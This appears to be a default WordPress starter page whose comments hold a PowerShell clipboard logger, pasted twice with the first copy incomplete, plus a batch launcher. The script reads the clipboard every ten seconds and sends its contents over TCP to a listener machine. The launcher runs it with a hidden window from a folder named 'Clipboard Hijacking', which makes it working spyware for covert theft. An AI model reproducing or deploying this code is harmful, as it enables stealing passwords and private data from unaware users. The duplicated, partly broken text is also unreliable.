Welcome to WordPress. This is your first post. Edit or delete it, then start writing!
3 Comments.
Hi, this is a comment.
To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
Commenter avatars come from Gravatar.
# Define the IP address and port of the Linux machine
$serverIp = “192.168.1.7” # Replace with your Linux machine’s IP address
$serverPort = 5333 # Ensure this matches the port used in the TCP server
# Start a loop to check clipboard content every 10 seconds
while ($true) {
# Get clipboard content
$clipboardContent = Get-Clipboard
# Check if clipboard content is not empty
if ($clipboardContent) {
# Handle different newline characters and prepare to send data
$clipboardLines = $clipboardContent -split “`r?`n”
foreach ($line in $clipboardLines) {
# Convert the line to bytes and send it
$data = [System.Text.Encoding]::UTF8.GetBytes($line)
$stream.Write($data, 0, $data.Length)
}
# Clean up
$stream.Close()
$tcpClient.Close()
}
# Wait for 10 seconds before checking again
Start-Sleep -Seconds 10
}
Hi, this is a comment.
To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
Commenter avatars come from Gravatar.
# Define the IP address and port of the Linux machine
$serverIp = “192.168.1.7” # Replace with your Linux machine’s IP address
$serverPort = 5333 # Ensure this matches the port used in the TCP server
# Start a loop to check clipboard content every 10 seconds
while ($true) {
# Get clipboard content
$clipboardContent = Get-Clipboard
# Check if clipboard content is not empty
if ($clipboardContent) {
# Handle different newline characters and prepare to send data
$clipboardLines = $clipboardContent -split “`r?`n”
# Create a TCP client
$tcpClient = New-Object System.Net.Sockets.TcpClient($serverIp, $serverPort)
$stream = $tcpClient.GetStream()
foreach ($line in $clipboardLines) {
# Convert the line to bytes and send it
$data = [System.Text.Encoding]::UTF8.GetBytes($line)
$stream.Write($data, 0, $data.Length)
}
# Clean up
$stream.Close()
$tcpClient.Close()
}
# Wait for 10 seconds before checking again
Start-Sleep -Seconds 10
}
@echo off
start /min powershell -WindowStyle Hidden -File “C:\Users\Kamal Kishore Singh\Desktop\Batch\Automation\Clipboard Hijacking\Onserver Clipboard Hijacking\ClipboardLogger.ps1”
exit